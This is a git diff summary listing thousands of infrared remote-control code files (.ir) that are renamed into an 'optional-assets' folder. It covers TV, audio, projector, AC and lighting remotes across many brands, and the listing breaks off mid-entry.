0 .../_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Toshiba/VCR/68,-1.ir | 0 .../_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir | 0 .../_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir | 0 .../_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir | 0 .../_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir | 0 .../_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir | 0 .../_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir | 0 .../_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir | 0 .../_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir | 0 .../_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir | 0 .../_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Uniden/Satellite/1,-1.ir | 0 .../_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_001/4,15.ir | 0 .../_CSV-IRDB_/Universal/Unknown_006/56,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_089/6,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_101/6,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_111/135,124.ir | 0 .../_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir | 0 .../_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir | 0 .../_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir | 0 .../_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir | 0 .../_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir | 0 .../_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir | 0 .../_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir | 0 .../_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir | 0 .../_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir | 0 .../_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir | 0 .../_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir | 0 .../_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir | 0 .../_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir | 0 .../_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir | 0 .../_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir | 0 .../_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir | 0 .../_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir | 0 .../_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/WD/Unknown_TV/132,121.ir | 0 .../_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir | 0 .../_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir | 0 .../_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/XORO/Sat/0,191.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Xantech/Programmer/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir | 0 .../_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir | 0 .../_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/YES/Unknown_YES/132,60.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir | 0 .../_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir | 0 .../_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DAT/128,55.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/120,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/122,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/4,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/6,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/80,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DSP/87,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir | 0 .../_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir | 0 .../_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/124,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/176,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVD/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/120,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/124,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Yamaha/DVR/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Music Server/128,55.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Projector/209,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Projector/240,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/0,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/127,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir | 0 .../_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir | 0 .../_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir | 0 .../_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir | 0 .../_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/5,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/7,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/TV/7,1.ir | 0 .../_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir | 0 .../_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir | 0 .../_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Zenith/VCR/7,0.ir | 0 .../_CSV-IRDB_/Zenith/Video Projector/5,1.ir | 0 .../_CSV-IRDB_/Zenith/Video Projector/6,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir | 0 .../_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir | 0 .../_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir | 0 .../_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir | 0 .../_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir | 0 .../_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir | 0 .../_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir | 0 .../_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir | 0 .../_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir | 0 .../_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir | 0 .../_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/huth/Unknown_prof/15,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/iPort/MP3 Player/1,222.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/iPort/iPod/1,222.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/iPort/iPort/1,222.ir | 0 .../_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir | 0 .../_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir | 0 .../_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir | 0 .../_CSV-IRDB_/konig/Unknown_konig/128,99.ir | 0 .../_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir | 0 .../_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir | 0 .../_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir | 0 .../_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir | 0 .../_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir | 0 .../_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir | 0 .../_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir | 0 .../_CSV-IRDB_/orion/Unknown_orion/128,123.ir | 0 .../_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir | 0 .../_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir | 0 .../_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir | 0 .../_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir | 0 .../_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir | 0 .../_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/sun/Unknown_sun/26,9.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/universum/SAT/97,135.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir | 0 .../_CSV-IRDB_/universum/Unknown_universum/0,-1.ir | 0 .../_CSV-IRDB_/universum/Unknown_universum/16,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/universum/VCR/128,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir | 0 .../_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir | 0 .../_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir | 0 3321 files changed, 0 insertions(+), 0 deletions(-) rename assets/resources/infrared/{ => optional-assets}/ACs/Dreo/Dreo_Heater.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Dyson/Dyson_Air_Multiplier.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Dyson/Dyson_HP09.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Homedics/Homedics_Humidifier.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/JETTools/JETTools_AFS-1000B.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Koldfront/Koldfront_WAC12001.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Koldfront_wac12001.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/LG/LG_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Lasko/Lasko_Fan.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Lasko/Lasko_Fan_Simple.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Lasko/Lasko_Heater.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Pelonis_PFS40D6ABB.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Vornado/Vornado.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Whynter/Whynter_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/ACs/Zenith/Zenith_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Amino_amigo.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Amz_snd_bar.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Apple_tv.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Audio Receivers/Onkyo/Onkyo.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Audio Receivers/Onkyo/Onkyo_RC627S.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Audio Receivers/Sony/Sony_MHC-GS300AV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/BenQ.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Blu-Ray/LG/LG_BlueRay.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir (100%) rename assets/resources/infrared/{ => optional-assets}/CCTV/BrandUnknown/Szxlcom_cams.ir (100%) rename assets/resources/infrared/{ => optional-assets}/CCTV/MarshallElectronics/Marshall_CV610.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Cable Boxes/Amino/Amino_Amigo.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Cable Boxes/DIRECTV/DIRECTV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Cable Boxes/Telus/Telus_OptikTV.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Cameras/Sony/Nikon.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Cameras/Sony/Sony.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Casio-Projector_yt130.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Consoles/Microsoft/Xbox.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Converters/RME/RME_ADI-2_DAC_FS.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Converters/ReadMe.md (100%) rename assets/resources/infrared/{ => optional-assets}/Cv610_remote.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Da_lite_proj_scrn.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Direct_tv.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Dragonfly_scrn.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Dreo_heater.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Dyson_air_multiplier.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Dyson_hp09.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Epson.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Hdmi_switch.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Head Units/GPX/GPX_CDRadio.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/Amazon/Amazon_LED_Lights.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/44_Button_LED.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/DMX_Light.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/LEDStrip.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/LED_44Key.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/Light_Strip.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/BrandUnknown/Practical_Series_2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LED Lighting/mlambert_rope_light.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LG_AC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LG_BlueRay.ir (100%) rename assets/resources/infrared/{ => optional-assets}/LG_C1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Lasko_fan.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Lasko_heater.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/AMI/AMI_Jukebox.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/HDMI_Switch.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/Hasbro/Furby/Furby.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/LG/LG.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/LaserX/LaserX_Tag.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Miscellaneous/ReadMe.md (100%) rename assets/resources/infrared/{ => optional-assets}/NEC.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Nikon.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Old_sonyxbr.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Panasonic_TC-P50S2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Pioneer_1770nex.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/BenQ/BenQ.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/BrandUnknown/README.md (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/BrandUnknown/Scrn_innov.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/BrandUnknown/Stlth_acou.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/Casio/Casio_YT-130.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/Dragonfly/Dragonfly_Screen.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Projectors/Epson/Epson.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Roku.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Roku2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Samsung.ir (100%) rename assets/resources/infrared/{ => optional-assets}/Samsung_TV.ir (100%) rename 